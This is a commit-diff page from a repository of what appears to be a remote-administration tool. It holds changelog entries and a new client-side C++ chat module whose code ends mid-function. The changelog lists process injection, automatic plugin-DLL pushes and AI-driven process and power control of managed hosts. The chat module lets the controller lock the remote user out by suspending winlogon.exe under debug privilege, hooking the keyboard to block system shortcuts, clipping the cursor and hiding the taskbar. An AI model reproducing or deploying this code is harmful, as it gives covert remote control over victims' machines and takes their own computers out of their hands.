Compare commits
58
Commits
9eed43bc8d
...
main
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
f76cd79bb0 | ||
|
|
39c8daa9b0 | ||
|
|
cd4f3675fd | ||
|
|
bbb3d8c2fa | ||
|
|
ca671d6453 | ||
|
|
a522424491 | ||
|
|
b1ddec1b8a | ||
|
|
1922f87dd2 | ||
|
|
8eab26c1f6 | ||
|
|
04f4eb9947 | ||
|
|
5cea1167be | ||
|
|
0c04f7516b | ||
|
|
e6b4fe3a85 | ||
|
|
d3a339247b | ||
|
|
33986f4893 | ||
|
|
e5f5720867 | ||
|
|
d7b49a3d06 | ||
|
|
c85039ea0a | ||
|
|
a447452521 | ||
|
|
614b03994c | ||
|
|
99e3bcbc6d | ||
|
|
8f02e73b9c | ||
|
|
7651ee8602 | ||
|
|
4ff965a2b4 | ||
|
|
77b688c981 | ||
|
|
c93f09e9ac | ||
|
|
96b9eea70a | ||
|
|
ca0d7626d2 | ||
|
|
8d4c118ae6 | ||
|
|
d477cbfee9 | ||
|
|
870a5832ea | ||
|
|
8e0f1283c6 | ||
|
|
2de21b2b6b | ||
|
|
53b7151fb7 | ||
|
|
d2149851b2 | ||
|
|
ca6f76565c | ||
|
|
d15cd77a28 | ||
|
|
1a9312d2d1 | ||
|
|
f3a8406050 | ||
|
|
ff6b290580 | ||
|
|
da0ec983ba | ||
|
|
6220335f63 | ||
|
|
c7f7b7b29b | ||
|
|
59fead7b5f | ||
|
|
b89428bf35 | ||
|
|
3928dd76a3 | ||
|
|
d80d8f21da | ||
|
|
d269df9171 | ||
|
|
2fb6252285 | ||
|
|
2c3e1ca518 | ||
|
|
f72fda9b71 | ||
|
|
c906a46bcc | ||
|
|
6c9fef8793 | ||
|
|
bbdb4104bf | ||
|
|
8d0f419093 | ||
|
|
f3a05c14b1 | ||
|
|
d118558eda | ||
|
|
76decec0fe |
No files matched your search
@@ -93,6 +93,7 @@ Bin/*
|
|||||||
nul
|
nul
|
||||||
server/go/web/assets/index.html
|
server/go/web/assets/index.html
|
||||||
server/go/users.json
|
server/go/users.json
|
||||||
|
server/go/devices.json
|
||||||
server/go/build/
|
server/go/build/
|
||||||
server/go/.claude/settings.json
|
server/go/.claude/settings.json
|
||||||
android/app/.cxx/
|
android/app/.cxx/
|
||||||
@@ -378,6 +378,32 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
|
|||||||
|
|
||||||
## 更新日志
|
## 更新日志
|
||||||
|
|
||||||
|
### v1.4.0 (2026.10.7)
|
||||||
|
|
||||||
|
**SimplePlugins 功能迁移 & 远程交互增强 & MCP 扩展 & 国际化**
|
||||||
|
|
||||||
|
**新功能:**
|
||||||
|
- **SimplePlugins 功能迁移(实验功能)**:文件管理 / 隐私屏幕 / 远程画板三个功能原生迁入客户端,作为在线主机右键「实验功能」子菜单交付,配 16x16 图标(位图数组 66→69)
|
||||||
|
- **MCP 设备管理控制工具**:新增 kill_process / operate_window / control_service / power_action(单一 McpManage 开关 + 关闭只读),ready→confirm 生命周期 + WaitSendIdle 排空出站缓冲;MCP 设置新增「管理操作」勾选、主工具栏 MCP 入口
|
||||||
|
- **远程交谈**:「远程交谈」工具栏按钮(COMMAND_CHAT 161 / TOKEN_CHAT_START 62)打开双向聊天,支持服务端触发屏幕锁 / 解锁
|
||||||
|
- **TCP/UDP 连接管理**:工具栏按钮列出受管主机 TCP/UDP 连接,右键强制断开 IPv4 TCP(iphlpapi 枚举 + CConnectionsDlg)
|
||||||
|
- **主机管理**:迁移 CMachineManager(进程 / 窗口 / 网络 / 软件 / IE 历史 / 收藏夹 / 服务 / 任务 / hosts 枚举 + 进程注入),COMMAND_MACHINE_MANAGE 162
|
||||||
|
- **授权失败触发器**:新增 TRIGGER_AUTH_FAILED 触发类型(与主机上线触发独立),授权失败时下发插件 DLL,受 ShouldLogAuth 去重约束
|
||||||
|
- **iPhone 远程音频**:WebAudio + 自托管 opus-decoder WASM 解码,修复 iOS 无 MSE 静音
|
||||||
|
- **画质与传输控制**:远程桌面 / 屏幕预览质量等级菜单(各 6 档可配置)+ 文件传输速度对话框(7 档 + 无限档,经 MasterSettings 下发)
|
||||||
|
- **Shine/HELL 协议选择**:分享 / 传输主机时可选协议,尾随冒号字段透传,旧客户端兼容
|
||||||
|
- **Go Web UI 子路径部署**:YAMA_WEB_BASE_PATH 挂载整个 Web UI 到 URL 前缀
|
||||||
|
- **国际化**:德语(de_DE)第 4 种语言、语言切换工具栏按钮、剩余字符串翻译补齐;远程桌面剪贴板按钮(全屏可达)
|
||||||
|
|
||||||
|
**改进:**
|
||||||
|
- 通知设置关键词改为多行输入(每行一个,存储仍分号分隔,兼容既有 notify.ini)
|
||||||
|
|
||||||
|
**Bug 修复:**
|
||||||
|
- HTTP 分片续包误置 m_bShouldUnmask 致后续包丢失(进程列表 kill 后空列表)
|
||||||
|
- 即时消息弹窗标题乱码(GBK code_page 声明)
|
||||||
|
- geo-IP 查询阻塞主机双击提示(仅本地库加载时查询 + 进程内缓存)
|
||||||
|
- 主机管理 IE 历史字符串泄漏(CoTaskMemFree)、隐私屏幕 0xCC 乱码日志
|
||||||
|
|
||||||
### v1.3.9 (2026.9.2)
|
### v1.3.9 (2026.9.2)
|
||||||
|
|
||||||
**MCP 服务端集成(AI 远程管理)& 远程控制与文件传输闭环 & 主控增强**
|
**MCP 服务端集成(AI 远程管理)& 远程控制与文件传输闭环 & 主控增强**
|
||||||
|
|||||||
@@ -378,6 +378,32 @@ Valid : 2026-02-01 to 2028-02-01
|
|||||||
|
|
||||||
## Changelog
|
## Changelog
|
||||||
|
|
||||||
|
### v1.4.0 (2026.10.7)
|
||||||
|
|
||||||
|
**SimplePlugins Feature Migration & Remote Interaction Enhancements & MCP Expansion & i18n**
|
||||||
|
|
||||||
|
**New features:**
|
||||||
|
- **SimplePlugins feature migration (experimental)**: file management / privacy screen / drawing board migrated natively into the client and exposed as an "Experimental Features" right-click submenu, with 16x16 icons (bitmap array 66→69)
|
||||||
|
- **MCP device management-control tools**: kill_process / operate_window / control_service / power_action behind a single McpManage flag (plus read-only off), with a ready→confirm lifecycle and WaitSendIdle buffer draining; "management operations" checkbox in MCP settings and an MCP toolbar entry
|
||||||
|
- **Two-way remote chat**: a "远程交谈" toolbar button (COMMAND_CHAT 161 / TOKEN_CHAT_START 62) opens the chat dialog, with server-triggered screen lock / unlock
|
||||||
|
- **TCP/UDP connection management**: a toolbar button lists the managed host's TCP/UDP connections with right-click force-disconnect for IPv4 TCP (iphlpapi enumeration + CConnectionsDlg)
|
||||||
|
- **Machine management**: CMachineManager migrated (process / window / network / software / IE history / favorites / service / task / hosts enumeration plus process injection), COMMAND_MACHINE_MANAGE 162
|
||||||
|
- **Auth-failed trigger**: new TRIGGER_AUTH_FAILED type (independent of the host-online trigger) pushes plugin DLLs on authorization failure, gated by ShouldLogAuth dedup
|
||||||
|
- **iPhone remote audio**: Web Audio API + self-hosted opus-decoder WASM decoding fixes silent audio on iOS without MSE
|
||||||
|
- **Quality & transfer controls**: configurable remote-desktop / screen-preview quality-level menus (six presets each) plus a file-transfer speed dialog (seven presets + unlimited, delivered via MasterSettings)
|
||||||
|
- **Shine/HELL protocol selection**: choose the protocol when sharing / transferring a host, passed as a trailing colon field, backward compatible
|
||||||
|
- **Go web UI subpath deployment**: YAMA_WEB_BASE_PATH mounts the whole web UI under a URL prefix
|
||||||
|
- **i18n**: German (de_DE) as the fourth language, a language-switch toolbar button, remaining string translations; remote-desktop clipboard buttons (reachable in fullscreen)
|
||||||
|
|
||||||
|
**Improvements:**
|
||||||
|
- Notification keyword input is now multi-line (one keyword per line; the stored format stays semicolon-separated, compatible with existing notify.ini)
|
||||||
|
|
||||||
|
**Bug fixes:**
|
||||||
|
- HTTP continuation chunks mis-set m_bShouldUnmask, dropping subsequent packets (blank process list after kill)
|
||||||
|
- Garbled instant-message popup title (GBK code_page declaration)
|
||||||
|
- geo-IP lookup blocking the host double-click tooltip (only queried when a local DB is loaded, plus in-process caching)
|
||||||
|
- Machine-management IE-history string leak (CoTaskMemFree) and privacy-screen 0xCC garbled logs
|
||||||
|
|
||||||
### v1.3.9 (2026.9.2)
|
### v1.3.9 (2026.9.2)
|
||||||
|
|
||||||
**MCP Server Integration (AI Remote Management) & Remote Control / File Transfer Loop & Master Enhancements**
|
**MCP Server Integration (AI Remote Management) & Remote Control / File Transfer Loop & Master Enhancements**
|
||||||
|
|||||||
@@ -378,6 +378,32 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
|
|||||||
|
|
||||||
## 更新日誌
|
## 更新日誌
|
||||||
|
|
||||||
|
### v1.4.0 (2026.10.7)
|
||||||
|
|
||||||
|
**SimplePlugins 功能遷移 & 遠端互動增強 & MCP 擴充 & 國際化**
|
||||||
|
|
||||||
|
**新功能:**
|
||||||
|
- **SimplePlugins 功能遷移(實驗功能)**:檔案管理 / 隱私螢幕 / 遠端畫板三個功能原生遷入用戶端,作為線上主機右鍵「實驗功能」子選單交付,配 16x16 圖示(位圖陣列 66→69)
|
||||||
|
- **MCP 裝置管理控制工具**:新增 kill_process / operate_window / control_service / power_action(單一 McpManage 開關 + 關閉唯讀),ready→confirm 生命週期 + WaitSendIdle 排空出站緩衝;MCP 設定新增「管理操作」勾選、主工具列 MCP 入口
|
||||||
|
- **遠端交談**:「遠端交談」工具列按鈕(COMMAND_CHAT 161 / TOKEN_CHAT_START 62)開啟雙向交談,支援伺服端觸發螢幕鎖 / 解鎖
|
||||||
|
- **TCP/UDP 連線管理**:工具列按鈕列出受管主機 TCP/UDP 連線,右鍵強制斷開 IPv4 TCP(iphlpapi 列舉 + CConnectionsDlg)
|
||||||
|
- **主機管理**:遷移 CMachineManager(處理程序 / 視窗 / 網路 / 軟體 / IE 歷史 / 收藏夾 / 服務 / 排程工作 / hosts 列舉 + 處理程序注入),COMMAND_MACHINE_MANAGE 162
|
||||||
|
- **授權失敗觸發器**:新增 TRIGGER_AUTH_FAILED 觸發類型(與主機上線觸發獨立),授權失敗時下發外掛程式 DLL,受 ShouldLogAuth 去重約束
|
||||||
|
- **iPhone 遠端音訊**:WebAudio + 自託管 opus-decoder WASM 解碼,修復 iOS 無 MSE 靜音
|
||||||
|
- **品質與傳輸控制**:遠端桌面 / 螢幕預覽品質等級選單(各 6 檔可設定)+ 檔案傳輸速度對話框(7 檔 + 無限檔,經 MasterSettings 下發)
|
||||||
|
- **Shine/HELL 協定選擇**:分享 / 傳輸主機時可選協定,尾隨冒號欄位透傳,舊用戶端相容
|
||||||
|
- **Go Web UI 子路徑部署**:YAMA_WEB_BASE_PATH 掛載整個 Web UI 到 URL 前綴
|
||||||
|
- **國際化**:德語(de_DE)第 4 種語言、語言切換工具列按鈕、剩餘字串翻譯補齊;遠端桌面剪貼簿按鈕(全螢幕可達)
|
||||||
|
|
||||||
|
**改進:**
|
||||||
|
- 通知設定關鍵詞改為多行輸入(每行一個,儲存仍分號分隔,相容既有 notify.ini)
|
||||||
|
|
||||||
|
**Bug 修復:**
|
||||||
|
- HTTP 後續封包誤置 m_bShouldUnmask 致後續封包遺失(處理程序列表 kill 後空列表)
|
||||||
|
- 即時訊息快顯視窗標題亂碼(GBK code_page 宣告)
|
||||||
|
- geo-IP 查詢阻塞主機雙擊提示(僅本機資料庫載入時查詢 + 處理程序內快取)
|
||||||
|
- 主機管理 IE 歷史字串洩漏(CoTaskMemFree)、隱私螢幕 0xCC 亂碼記錄
|
||||||
|
|
||||||
### v1.3.9 (2026.9.2)
|
### v1.3.9 (2026.9.2)
|
||||||
|
|
||||||
**MCP 伺服端整合(AI 遠端管理)& 遠端控制與檔案傳輸閉環 & 主控增強**
|
**MCP 伺服端整合(AI 遠端管理)& 遠端控制與檔案傳輸閉環 & 主控增強**
|
||||||
|
|||||||
@@ -46,13 +46,15 @@ CCaptureVideo::~CCaptureVideo()
|
|||||||
HRESULT CCaptureVideo::Open(int iDeviceID,int iPress)
|
HRESULT CCaptureVideo::Open(int iDeviceID,int iPress)
|
||||||
{
|
{
|
||||||
Mprintf("CCaptureVideo call Open\n");
|
Mprintf("CCaptureVideo call Open\n");
|
||||||
HRESULT hResult = S_OK;
|
HRESULT hResult = S_FALSE;
|
||||||
do {
|
do {
|
||||||
hResult = InitCaptureGraphBuilder();
|
hResult = InitCaptureGraphBuilder();
|
||||||
if (FAILED(hResult))
|
if (FAILED(hResult))
|
||||||
break;
|
break;
|
||||||
if(!BindVideoFilter(iDeviceID, &m_pBF))
|
if (!BindVideoFilter(iDeviceID, &m_pBF)) {
|
||||||
|
hResult = S_FALSE;
|
||||||
break;
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
hResult = m_pGB->AddFilter(m_pBF, L"Capture Filter");
|
hResult = m_pGB->AddFilter(m_pBF, L"Capture Filter");
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,339 @@
|
|||||||
|
// ChatManager.cpp: implementation of the CChatManager class.
|
||||||
|
//
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
#include "stdafx.h"
|
||||||
|
#include "ChatManager.h"
|
||||||
|
#include "Common.h"
|
||||||
|
#include "resource.h"
|
||||||
|
#include <TlHelp32.h>
|
||||||
|
|
||||||
|
#if ENABLE_MESSAGE
|
||||||
|
|
||||||
|
// 远程交谈(双向聊天)被控端实现,移植自 SimplePlugins/ChatManager。
|
||||||
|
// 服务端 CChat 对话框发起会话后,被控端在此显示聊天窗口,并支持服务端远程锁定屏幕。
|
||||||
|
|
||||||
|
#define SE_DEBUG_PRIVILEGE 20
|
||||||
|
typedef LONG(__stdcall* RtlAdjustPrivilege)(ULONG Privilege, BOOLEAN Enable, BOOLEAN CurrentThread, PBOOLEAN Enabled);
|
||||||
|
typedef LONG(__stdcall* SuspendOrResumeProcess)(HANDLE hProcess);
|
||||||
|
|
||||||
|
struct PIDWNDINFO {
|
||||||
|
DWORD dwProcessId;
|
||||||
|
HWND hWnd;
|
||||||
|
};
|
||||||
|
|
||||||
|
// 锁定屏幕相关的全局状态(同一会话内只有一个 CChatManager 实例)
|
||||||
|
static HANDLE g_hProcess = NULL;
|
||||||
|
static SuspendOrResumeProcess g_lpfnNtResumeProcess = NULL;
|
||||||
|
static HHOOK g_hKeyBoard = NULL;
|
||||||
|
static int g_nLocked = 0;
|
||||||
|
|
||||||
|
static DWORD GetWinlogonPid()
|
||||||
|
{
|
||||||
|
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||||
|
if (snap == INVALID_HANDLE_VALUE) return 0;
|
||||||
|
PROCESSENTRY32 pEntry = { sizeof(pEntry) };
|
||||||
|
BOOL rtn = Process32First(snap, &pEntry);
|
||||||
|
while (rtn) {
|
||||||
|
if (strcmp(pEntry.szExeFile, "winlogon.exe") == 0) {
|
||||||
|
CloseHandle(snap);
|
||||||
|
return pEntry.th32ProcessID;
|
||||||
|
}
|
||||||
|
memset(pEntry.szExeFile, 0, sizeof(pEntry.szExeFile));
|
||||||
|
rtn = Process32Next(snap, &pEntry);
|
||||||
|
}
|
||||||
|
CloseHandle(snap);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 屏蔽 alt+tab / alt+f4 / win 键等系统快捷键
|
||||||
|
static LRESULT CALLBACK KeyBoardProc(int code, WPARAM wParam, LPARAM lParam)
|
||||||
|
{
|
||||||
|
if (code == HC_ACTION) {
|
||||||
|
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)lParam;
|
||||||
|
switch (wParam) {
|
||||||
|
case WM_KEYDOWN:
|
||||||
|
case WM_SYSKEYDOWN:
|
||||||
|
case WM_KEYUP:
|
||||||
|
case WM_SYSKEYUP:
|
||||||
|
if ((p->vkCode == VK_TAB && (p->flags & LLKHF_ALTDOWN) != 0) // ALT+TAB
|
||||||
|
|| (p->vkCode == VK_F4 && (p->flags & LLKHF_ALTDOWN) != 0) // ALT+F4
|
||||||
|
|| (p->vkCode == VK_ESCAPE && (p->flags & LLKHF_ALTDOWN) != 0) // Alt+Esc
|
||||||
|
|| (p->vkCode == VK_ESCAPE && (GetKeyState(VK_CONTROL) & 0x8000) != 0) // Ctrl+Esc
|
||||||
|
|| (p->vkCode == VK_LWIN)
|
||||||
|
|| (p->vkCode == VK_RWIN)) {
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return ::CallNextHookEx(g_hKeyBoard, code, wParam, lParam);
|
||||||
|
}
|
||||||
|
|
||||||
|
static BOOL CALLBACK EnumWindowsProc(HWND hWnd, LPARAM lParam)
|
||||||
|
{
|
||||||
|
PIDWNDINFO* pInfo = (PIDWNDINFO*)lParam;
|
||||||
|
LONG lStyle = GetWindowLong(hWnd, GWL_STYLE);
|
||||||
|
if (pInfo->dwProcessId == 0 && hWnd != pInfo->hWnd &&
|
||||||
|
IsWindowVisible(hWnd) && GetParent(hWnd) == NULL && (lStyle & WS_MINIMIZEBOX)) {
|
||||||
|
ShowWindow(hWnd, SW_MINIMIZE);
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
DWORD dwProcessId;
|
||||||
|
GetWindowThreadProcessId(hWnd, &dwProcessId);
|
||||||
|
if (dwProcessId == pInfo->dwProcessId && IsWindowVisible(hWnd) && GetParent(hWnd) == NULL) {
|
||||||
|
pInfo->hWnd = hWnd;
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 安装键盘钩子并挂起 winlogon(必须在聊天窗口线程调用,确保钩子有消息循环)
|
||||||
|
static void ChatSetHook()
|
||||||
|
{
|
||||||
|
g_hKeyBoard = SetWindowsHookEx(WH_KEYBOARD_LL, KeyBoardProc, GetModuleHandle(NULL), 0);
|
||||||
|
HMODULE hMod = LoadLibrary("ntdll");
|
||||||
|
if (hMod) {
|
||||||
|
RtlAdjustPrivilege lpfnRtlAdjustPrivilege = (RtlAdjustPrivilege)GetProcAddress(hMod, "RtlAdjustPrivilege");
|
||||||
|
SuspendOrResumeProcess lpfnNtSuspendProcess = (SuspendOrResumeProcess)GetProcAddress(hMod, "NtSuspendProcess");
|
||||||
|
g_lpfnNtResumeProcess = (SuspendOrResumeProcess)GetProcAddress(hMod, "NtResumeProcess");
|
||||||
|
DWORD pid = GetWinlogonPid();
|
||||||
|
BOOLEAN dummy = 0;
|
||||||
|
if (lpfnRtlAdjustPrivilege) lpfnRtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, TRUE, FALSE, &dummy);
|
||||||
|
g_hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
|
||||||
|
if (g_hProcess && lpfnNtSuspendProcess) lpfnNtSuspendProcess(g_hProcess);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static void ChatUnSetHook()
|
||||||
|
{
|
||||||
|
if (g_hKeyBoard) {
|
||||||
|
UnhookWindowsHookEx(g_hKeyBoard);
|
||||||
|
g_hKeyBoard = NULL;
|
||||||
|
}
|
||||||
|
if (g_lpfnNtResumeProcess && g_hProcess) {
|
||||||
|
g_lpfnNtResumeProcess(g_hProcess);
|
||||||
|
}
|
||||||
|
if (g_hProcess) {
|
||||||
|
CloseHandle(g_hProcess);
|
||||||
|
g_hProcess = NULL;
|
||||||
|
}
|
||||||
|
g_lpfnNtResumeProcess = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解除锁定:恢复鼠标/屏保/任务栏/开始菜单/桌面,并恢复 winlogon
|
||||||
|
static void UnlockScreen()
|
||||||
|
{
|
||||||
|
ChatUnSetHook();
|
||||||
|
ClipCursor(NULL);
|
||||||
|
SystemParametersInfo(SPI_SETSCREENSAVERRUNNING, FALSE, 0, SPIF_UPDATEINIFILE);
|
||||||
|
::ShowWindow(::FindWindow("Shell_TrayWnd", NULL), SW_SHOW);
|
||||||
|
::ShowWindow(::FindWindow("Button", "开始"), SW_SHOW);
|
||||||
|
::ShowWindow(::FindWindow("Progman", NULL), SW_SHOW);
|
||||||
|
g_nLocked = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
// Construction/Destruction
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
CChatManager::CChatManager(IOCPClient* ClientObject, int n, void* user) : CManager(ClientObject)
|
||||||
|
{
|
||||||
|
m_hInstance = HINSTANCE(user);
|
||||||
|
m_hWnd = NULL;
|
||||||
|
m_bRun = TRUE;
|
||||||
|
g_nLocked = 0;
|
||||||
|
|
||||||
|
// 向服务端发起远程交谈,服务端打开 CChat 对话框后会回发 COMMAND_NEXT_CHAT
|
||||||
|
BYTE bToken = TOKEN_CHAT_START;
|
||||||
|
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||||
|
m_ClientObject->Send2Server((char*)&bToken, 1, &mask);
|
||||||
|
WaitForDialogOpen();
|
||||||
|
|
||||||
|
m_hThread = __CreateThread(NULL, 0, MessageLoopProc, this, 0, NULL);
|
||||||
|
Mprintf("Chat 构造\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
CChatManager::~CChatManager()
|
||||||
|
{
|
||||||
|
m_bRun = FALSE;
|
||||||
|
while (m_hThread)
|
||||||
|
Sleep(100);
|
||||||
|
|
||||||
|
if (g_nLocked == 1) {
|
||||||
|
UnlockScreen();
|
||||||
|
}
|
||||||
|
if (m_hWnd) {
|
||||||
|
SendMessage(m_hWnd, WM_USER + 1, NULL, NULL);
|
||||||
|
}
|
||||||
|
Mprintf("Chat 析构\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD WINAPI CChatManager::MessageLoopProc(LPVOID lParam)
|
||||||
|
{
|
||||||
|
CChatManager* pThis = (CChatManager*)lParam;
|
||||||
|
HANDLE& hThread(pThis->m_hThread);
|
||||||
|
|
||||||
|
pThis->m_hWnd = CreateDialogParamA(pThis->m_hInstance, MAKEINTRESOURCE(IDD_CHAT), NULL,
|
||||||
|
CChatManager::ChatDialogProc, (LPARAM)pThis);
|
||||||
|
if (pThis->m_hWnd) {
|
||||||
|
SendMessage(GetDlgItem(pThis->m_hWnd, IDC_EDIT_NEWMSG), EM_SETLIMITTEXT, 8158, 0);
|
||||||
|
SetWindowPos(pThis->m_hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE);
|
||||||
|
// 移除最小化/最大化按钮
|
||||||
|
LONG lStyle = GetWindowLong(pThis->m_hWnd, GWL_STYLE);
|
||||||
|
lStyle &= ~(WS_MINIMIZEBOX | WS_MAXIMIZEBOX);
|
||||||
|
SetWindowLong(pThis->m_hWnd, GWL_STYLE, lStyle);
|
||||||
|
|
||||||
|
MSG msg;
|
||||||
|
while (GetMessage(&msg, NULL, 0, 0) && pThis->m_bRun) {
|
||||||
|
if (!IsDialogMessage(pThis->m_hWnd, &msg)) {
|
||||||
|
TranslateMessage(&msg);
|
||||||
|
DispatchMessage(&msg);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
CloseHandle(hThread);
|
||||||
|
hThread = NULL;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
INT_PTR CALLBACK CChatManager::ChatDialogProc(HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam)
|
||||||
|
{
|
||||||
|
CChatManager* pThis = (CChatManager*)GetWindowLongPtr(hDlg, GWLP_USERDATA);
|
||||||
|
switch (uMsg) {
|
||||||
|
case WM_INITDIALOG:
|
||||||
|
SetWindowLongPtr(hDlg, GWLP_USERDATA, (LONG_PTR)lParam);
|
||||||
|
pThis = (CChatManager*)lParam;
|
||||||
|
SetWindowText(hDlg, "远程交谈");
|
||||||
|
SetDlgItemText(hDlg, IDC_BUTTON_SEND, "发送消息");
|
||||||
|
SetDlgItemText(hDlg, IDC_BUTTON_END, "结束交谈");
|
||||||
|
{
|
||||||
|
HICON hIcon = LoadIcon(pThis->m_hInstance, MAKEINTRESOURCE(IDI_ICON_MSG));
|
||||||
|
if (hIcon) {
|
||||||
|
SendMessage(hDlg, WM_SETICON, ICON_SMALL, (LPARAM)hIcon);
|
||||||
|
SendMessage(hDlg, WM_SETICON, ICON_BIG, (LPARAM)hIcon);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return TRUE;
|
||||||
|
|
||||||
|
case WM_COMMAND:
|
||||||
|
if (LOWORD(wParam) == IDC_BUTTON_SEND) {
|
||||||
|
char str[4096] = { 0 };
|
||||||
|
GetDlgItemText(hDlg, IDC_EDIT_NEWMSG, str, sizeof(str));
|
||||||
|
if (str[0] == 0) {
|
||||||
|
SetFocus(GetDlgItem(hDlg, IDC_EDIT_NEWMSG));
|
||||||
|
return TRUE; // 消息为空不发送
|
||||||
|
}
|
||||||
|
pThis->Send((LPBYTE)str, lstrlenA(str) + 1);
|
||||||
|
|
||||||
|
SYSTEMTIME st;
|
||||||
|
GetLocalTime(&st);
|
||||||
|
char Text[5120] = { 0 };
|
||||||
|
sprintf_s(Text, sizeof(Text), "%s %d/%d/%d %d:%02d:%02d\r\n %s\r\n\r\n", "自己:",
|
||||||
|
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, str);
|
||||||
|
HWND hEditChatLog = GetDlgItem(hDlg, IDC_EDIT_CHATLOG);
|
||||||
|
int nLen = GetWindowTextLength(hEditChatLog);
|
||||||
|
if (nLen >= 20000) {
|
||||||
|
SetWindowText(hEditChatLog, "");
|
||||||
|
nLen = GetWindowTextLength(hEditChatLog);
|
||||||
|
}
|
||||||
|
SendMessage(hEditChatLog, EM_SETSEL, nLen, nLen);
|
||||||
|
SendMessage(hEditChatLog, EM_REPLACESEL, FALSE, (LPARAM)Text);
|
||||||
|
SetDlgItemText(hDlg, IDC_EDIT_NEWMSG, "");
|
||||||
|
SetFocus(GetDlgItem(hDlg, IDC_EDIT_NEWMSG));
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
if (LOWORD(wParam) == IDC_BUTTON_END) {
|
||||||
|
// 被控端关闭聊天窗口:仅隐藏对话框,会话保持。关闭交谈始终由服务端发起,
|
||||||
|
// 服务端继续发消息时 OnReceive 会用 SW_RESTORE 重新弹出本对话框。
|
||||||
|
ShowWindow(hDlg, SW_HIDE);
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
|
||||||
|
case WM_CLOSE:
|
||||||
|
// X 关闭按钮:仅隐藏对话框(与「结束交谈」一致),关闭交谈始终由服务端发起
|
||||||
|
ShowWindow(hDlg, SW_HIDE);
|
||||||
|
return TRUE;
|
||||||
|
|
||||||
|
case WM_USER + 1:
|
||||||
|
pThis->m_hWnd = NULL;
|
||||||
|
DestroyWindow(hDlg);
|
||||||
|
return TRUE;
|
||||||
|
|
||||||
|
case WM_USER + 2:
|
||||||
|
ChatSetHook();
|
||||||
|
return TRUE;
|
||||||
|
|
||||||
|
case WM_DESTROY:
|
||||||
|
PostQuitMessage(0);
|
||||||
|
return TRUE;
|
||||||
|
|
||||||
|
default:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID CChatManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||||
|
{
|
||||||
|
if (szBuffer[0] == TOKEN_HEARTBEAT) return;
|
||||||
|
|
||||||
|
if (ulLength == 1) {
|
||||||
|
switch (szBuffer[0]) {
|
||||||
|
case COMMAND_NEXT_CHAT:
|
||||||
|
NotifyDialogIsOpen();
|
||||||
|
return;
|
||||||
|
case COMMAND_CHAT_CLOSE:
|
||||||
|
if (m_hWnd) SendMessage(m_hWnd, WM_USER + 1, NULL, NULL);
|
||||||
|
return;
|
||||||
|
case COMMAND_CHAT_SCREEN_LOCK:
|
||||||
|
NotifyDialogIsOpen();
|
||||||
|
if (m_hWnd && g_nLocked == 0) {
|
||||||
|
ShowWindow(m_hWnd, SW_RESTORE);
|
||||||
|
RECT rct = { 0 };
|
||||||
|
GetWindowRect(m_hWnd, &rct);
|
||||||
|
ClipCursor(&rct);
|
||||||
|
SystemParametersInfo(SPI_SETSCREENSAVERRUNNING, TRUE, 0, SPIF_UPDATEINIFILE);
|
||||||
|
PIDWNDINFO pwi = { 0 };
|
||||||
|
pwi.dwProcessId = 0;
|
||||||
|
pwi.hWnd = m_hWnd;
|
||||||
|
EnumWindows(EnumWindowsProc, (LPARAM)&pwi);
|
||||||
|
::ShowWindow(::FindWindow("Shell_TrayWnd", NULL), SW_HIDE);
|
||||||
|
::ShowWindow(::FindWindow("Button", "开始"), SW_HIDE);
|
||||||
|
::ShowWindow(::FindWindow("Progman", NULL), SW_HIDE);
|
||||||
|
SendMessage(m_hWnd, WM_USER + 2, NULL, NULL);
|
||||||
|
g_nLocked = 1;
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
case COMMAND_CHAT_SCREEN_UNLOCK:
|
||||||
|
if (g_nLocked == 1) {
|
||||||
|
UnlockScreen();
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
default:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 收到服务端发来的聊天文本
|
||||||
|
SYSTEMTIME st;
|
||||||
|
GetLocalTime(&st);
|
||||||
|
char Text[8192] = { 0 };
|
||||||
|
sprintf_s(Text, sizeof(Text), "%s %d/%d/%d %d:%02d:%02d\r\n %s\r\n\r\n", "对方:",
|
||||||
|
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, (char*)szBuffer);
|
||||||
|
if (m_hWnd) {
|
||||||
|
